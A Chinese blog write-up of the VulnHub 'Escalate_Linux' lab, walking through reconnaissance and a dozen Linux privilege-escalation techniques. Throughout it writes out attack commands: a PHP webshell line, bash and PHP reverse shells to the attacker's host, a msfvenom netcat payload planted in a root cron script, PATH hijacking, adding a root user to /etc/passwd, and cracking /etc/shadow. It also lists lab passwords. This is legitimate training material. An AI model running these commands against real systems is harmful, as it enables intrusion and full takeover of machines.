Escalate_Linux靶机提权学习
靶机下载
https://www.vulnhub.com/entry/escalate_linux-1,323/
用VMware打开
扫描端口
nmap -sS -sV -n -T4 -p- 192.168.93.134
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-04 09:26 CST
Nmap scan report for 192.168.93.134
Host is up (0.00090s latency).
Not shown: 65526 closed tcp ports (reset)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
111/tcp open rpcbind 2-4 (RPC #100000)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
2049/tcp open nfs 3-4 (RPC #100003)
35413/tcp open nlockmgr 1-4 (RPC #100021)
42427/tcp open mountd 1-3 (RPC #100005)
53835/tcp open mountd 1-3 (RPC #100005)
60579/tcp open mountd 1-3 (RPC #100005)
MAC Address: 00:0C:29:99:67:DA (VMware)
Service Info: Host: LINUX
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.16 seconds
访问ip,是apache Ubuntu的初始界面
扫描目录
dirsearch -u 靶机地址
扫描结果显示只有一个子页面/shell.php是可以访问的,访问看看,进去有个提示说get传参,参数是cmd
传入cmd=ls,返回了当前目录的文件
echo "<?php eval($_POST[1]);?>">1.php
尝试写木马失败
尝试反弹shell,参考https://blog.csdn.net/qq_52173020/article/details/125011441
bash -i >& /dev/tcp/192.168.93.128/6666 0>&1//没用
php -r '$sock=fsockopen("192.168.93.128",6666);exec("/bin/sh -i <&3 >&3 2>&3");'//成功,但是要url编码后再传
1.suid提权
SUID是Linux中的一中特殊权限,SUID可以让二进制程序的调用者以文件拥有者的身份运行该文件。如果对于一些特殊命令设置了SUID,那么就会有被提权的风险。而这个SUID提权的关键就是,找到root用户所拥有的SUID的文件&命令,运行该文件或者调用命令时,暂时拥有root权限,以root身份来执行。
首先python命令执行python -c 'import pty; pty.spawn("/bin/bash")'
把得到的shell提升为交互式的shell
查找下能执行SUID特权的命令find / -perm -u=s -type f 2>/dev/null
返回
/sbin/mount.nfs
/sbin/mount.ecryptfs_private
/sbin/mount.cifs
/usr/sbin/pppd
/usr/bin/gpasswd
/usr/bin/pkexec
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/traceroute6.iputils
/usr/bin/chfn
/usr/bin/arping
/usr/bin/newgrp
/usr/bin/sudo
/usr/lib/xorg/Xorg.wrap
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/bin/ping
/bin/su
/bin/ntfs-3g
/bin/mount
/bin/umount
/bin/fusermount
/home/user5/script
/home/user3/shell
user3下面有个shell命令文件,cd /home/user3;cat shell,返回一堆乱码,该文件是二进制文件,执行./shell,直接获得了root权限
2.环境变量劫持提权:
网上很多文章,随便贴一篇https://blog.csdn.net/nicai321/article/details/122275160#:~:text=%E7%8E%AF%E5%A2%83%E5%8F%98%E9%87%8F%E5%8A%AB%E6%8C%81%E6%8F%90%E6%9D%83%EF%BC%9A%E6%9C%AC
刚刚发现一个/home/user5/script,进去看看
执行发现怎么和ls一样???这里说一个查看文件所有者的命令ls -l
文件类型和权限(-rwsr-xr-x)
第一个字符:- 表示这是一个普通文件。
接下来的9个字符 分为三组,每组3个字符,分别代表所有者、所属组和其他用户的权限。
第一组 (rws):表示文件所有者的权限:
r:读权限。
w:写权限。
s:这是setuid 权限,表示当任何用户执行该文件时,将以文件拥有者(在此例中是 root)的身份执行。通常,x 表示执行权限,但 s 替换了 x,意味着该文件不但可以执行,而且还带有 setuid 权限。
第二组 (r-x):表示所属组的权限:
r:读权限。
-:没有写权限。
x:执行权限。
第三组 (r-x):表示其他用户的权限:
r:读权限。
-:没有写权限。
x:执行权限。
其他字段解释:
链接数:1
该字段表示文件的硬链接数量。
所有者:root
该字段表示文件的拥有者是 root 用户。
所属组:root
文件的所属组也是 root。
文件大小:8392
文件的大小是 8392 字节。
最后修改时间:Jun 4 2019
文件的最后修改时间是 2019 年 6 月 4 日。
文件名:script
文件的名称是 script。
因此我们得知script是以root身份执行ls命令
可用十六进制查看文件内容进一步验证xxd /home/user5/script | grep ls -A 5 -B 5
好吧我只看到文件里面出现了ls,其他看不懂了。开始提权
cd /tmp
echo "/bin/bash" >ls #创建和以root执行的文件的同名文件
chmod 777 ls #赋予可执行权限
echo $PATH #查看环境变量
export PATH=/tmp:$PATH #/tmp目录添加到环境变量最前面
echo $PATH #查看是否添加成功
cd /home/user5
./script #此时系统会查找ls命令的位置,而你以及把/tmp添加到环境变量最前面,所以最先找到的ls是执行/bin/bash的ls文件,而不是真ls,这样就以root身份打开一个新的 Bash shell
3.crontab提权
定时任务(cron job)被用于安排那些需要被周期性执行的命令。利用它,你可以配置某些命令或者脚本,让它们在某个设定的时间内周期性地运行。cron 是 Linux 或者类 Unix 系统中最为实用的工具之一。cron 服务(守护进程)在系统后台运行,并且会持续地检查 /etc/crontab 文件和 /etc/cron.*/ 目录。它同样也会检查 /var/spool/cron/ 目录。
这个方法得先用之前方法提到root权限后,修改user4的密码再操作,改完切换到user4
通过翻看文件发现user4的桌面有个autoscript.sh,查看内容如下
touch /home/user4/abc.txt
echo "I will automate the process"
bash -i
现在利用msfvenom生成payload
msfvenom -p cmd/unix/reverse_netcat lhost=192.168.93.128 lport=8888 R
#生成了mkfifo /tmp/cdinf; nc 192.168.93.128 8888 0</tmp/cdinf | /bin/sh >/tmp/cdinf 2>&1; rm /tmp/cdinf
工具介绍
https://blog.csdn.net/qq_48985780/article/details/121441548#:~:text=Msfvenom%E4%BB%8B%E7%BB%8D#:~:text=Msfvenom%E4%BB%8B%E7%BB%8D
我们将autoscript.sh的内容替换成反弹shell脚本
echo "mkfifo /tmp/cdinf; nc 192.168.93.128 8888 0</tmp/cdinf | /bin/sh >/tmp/cdinf 2>&1; rm /tmp/cdinf" >autoscript.sh
在kali终端中开启监听,等待不到5分钟,等待autoscript.sh脚本自动加载,即可反弹回shell,查看权限为root
为什么这样可以提,我们查看/etc/crontab
发现autoscript脚本周期性执行,而且是以root身份。*/5表示每 5 分钟执行一次 第二个*表示每一小时都执行,第三个星号意味着每天都执行,第四个星号意味着每个月都执行,第五个星号意味着一周的每一天都执行。(可参考https://www.freebuf.com/articles/system/175453.html)
4.vi写入提权
这波要用之前提到的root先把user8的密码改了以便利用user8提权。
发现user8对vi编辑器具有sudo权限
sudo vi-->输入:!sh
-->回车-->提权成功,可以反弹一个root身份的shell到kali上面,这里就不搞了
5.openssl提权
用LinEnum.sh枚举发现user7是gid为0的成员,我看LinEnum枚举结果太长了懒得找了,就直接用其他大佬的结果了。
先把user7的密码改了,切换到user7
从LinEnum扫描中知道/etc/passwd文件对于用户user7是可写的:user7可以编辑/etc/passwd文件。于是创建一个具有root特权的名为yrsb的新用户,并使用openssl为该用户生成了密码,然后把该用户写进/etc/passwd
openssl passwd -1 -salt yrsb 123
echo 'yrsb:$1$yrsb$MQi5SWheZ5DIrG/FsiUDC.:0:0:root:/root:/bin/bash' >> /etc/passwd
6.NFS挂载提权
方法介绍https://cloud.tencent.com/developer/article/1708369
LinEnum枚举发现user5的目录是共享的
mount -t nfs 192.168.93.134:/home/user5 /home/user5 #挂载共享目录到攻击机
cp /bin/sh cnm
chown root:root cnm
chmod 4755 cnm
结果报错
./cnm: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.33' not found (required by ./cnm)
./cnm: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by ./cnm)
我嘞个glibc版本过低,这要是真实挖洞的时候拿到一个shell,结果因为这个提权不了就裂开了,但是这个靶机可以用之前的方法拿root然后更新glibc
apt update
pt upgrade libc6
,更新完又变成普通shell了,又要再开交互式shell在提权(捏麻麻的)。
结果靶机系统版本太低,不能更新到那个版本,我cao
算了这个方法先知道就得了,以后有机会再用
7.mysql提权
默认密码登录MySQL成功
show databases;
use user;
show tables;
select * from user_info;
切换至mysql用户
发现文件.user_informations
chmod 600 .user_informations
cat .user_informations
得到,其中一些用户的密码已经被我之前提权的时候改过
user2:user2@12345
user3:user3@12345
user4:user4@12345
user5:user5@12345
user6:user6@12345
user7:user7@12345//改过
user8:user8@12345//改过
继续找信息,在/etc/mysql/secret.cnf发现root用户密码
UserName:root
PassWord:root@12345
但是这个拿来登录发现是认证失败。。。
8.运行超户身份提权
由上面密码切换user2
sudo -l
[sudo] password for user2: user2@12345
Matching Defaults entries for user2 on osboxes:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User user2 may run the following commands on osboxes:
(user1) ALL
发现user2可以以user1的身份运行命令,也就是可以切换到user1
sudo -u user1 bash
sudo su
9.uid提权
现在切换user4
cat /etc/group,发现root❌0:user4,user7,表示user4和user7可以修改/etc/passwd文件,所以提权的方式跟方法五是一样的,直接添加uid为0的用户即可提权
10.shell提权
切回user6
user3主目录下发现.script.sh文件
ls -al
total 160
drwxr-xr-x 22 user3 user3 4096 Jun 4 2019 .
drwxr-xr-x 10 root root 4096 Jun 5 2019 ..
-rw-r--r-- 1 user3 user3 124 Jun 4 2019 .asoundrc
-rw-r--r-- 1 user3 user3 95 Jun 4 2019 .bash_history
-rw-r--r-- 1 user3 user3 220 Jun 4 2019 .bash_logout
-rw-r--r-- 1 user3 user3 949 Jun 4 2019 .bashrc
drwxr-xr-x 15 user3 user3 4096 Jun 4 2019 .cache
drwxr-xr-x 20 user3 user3 4096 Jun 4 2019 .config
drwxr-xr-x 3 user3 user3 4096 Jun 4 2019 .dbus
drwxr-xr-x 2 user3 user3 4096 Jun 4 2019 Desktop
-rw-r--r-- 1 user3 user3 23 Jun 4 2019 .dmrc
drwxr-xr-x 2 user3 user3 4096 Jun 4 2019 Documents
drwxr-xr-x 2 user3 user3 4096 Jun 4 2019 Downloads
-rw-r--r-- 1 user3 user3 9354 Jun 4 2019 .face
drwxr-xr-x 2 user3 user3 4096 Jun 4 2019 .gconf
drwxr-xr-x 24 user3 user3 4096 Jun 4 2019 .gimp-2.8
-rw-r--r-- 1 user3 user3 0 Jun 4 2019 .gksu.lock
drwxr-xr-x 3 user3 user3 4096 Jun 4 2019 .gnome
drwxr-xr-x 3 user3 user3 4096 Jun 4 2019 .gnome2
drwxr-xr-x 3 user3 user3 4096 Jun 4 2019 .gnupg
-rw-r--r-- 1 user3 user3 20 Jun 4 2019 .gtk-bookmarks
-rw-r--r-- 1 user3 user3 105 Jun 4 2019 .gtkrc-2.0
-rw------- 1 user3 user3 4710 Jun 4 2019 .ICEauthority
drwxr-xr-x 3 user3 user3 4096 Jun 4 2019 .local
drwxr-xr-x 5 user3 user3 4096 Jun 4 2019 .mozilla
drwxr-xr-x 2 user3 user3 4096 Jun 4 2019 Music
drwxr-xr-x 2 user3 user3 4096 Jun 4 2019 Pictures
-rw-r--r-- 1 user3 user3 873 Jun 4 2019 .profile
drwxr-xr-x 2 user3 user3 4096 Jun 4 2019 Public
-rwxr-xrwx 1 root root 33 Jun 4 2019 .script.sh
-rwsr-xr-x 1 root root 8392 Jun 4 2019 shell
-rw-r--r-- 1 user3 user3 0 Jun 4 2019 .sudo_as_admin_successful
drwxr-xr-x 2 user3 user3 4096 Jun 4 2019 Templates
drwxr-xr-x 3 user3 user3 4096 Jun 4 2019 .thumbnails
drwxr-xr-x 4 user3 user3 4096 Jun 4 2019 .thunderbird
drwxr-xr-x 2 user3 user3 4096 Jun 4 2019 Videos
-rw-r--r-- 1 user3 user3 50 Jun 4 2019 .Xauthority
strings shell,发现其调用了.script.sh,把.script.sh内容变成/bin/bash即可(为什么觉得有点多余)
11.爆破root密码
以root身份cat /etc/shadow
john爆破出来就是12345。这个不算提权吧,都已经是root了
12.sudo -i提权
切换user1
sudo -l
sudo -i
内核漏洞
靶机内核是4.15.0-45-generic,上网找找不到相关漏洞。
本文来自博客园,作者:积分别忘C,转载请注明原文链接:https://www.cnblogs.com/hackzz/p/18446332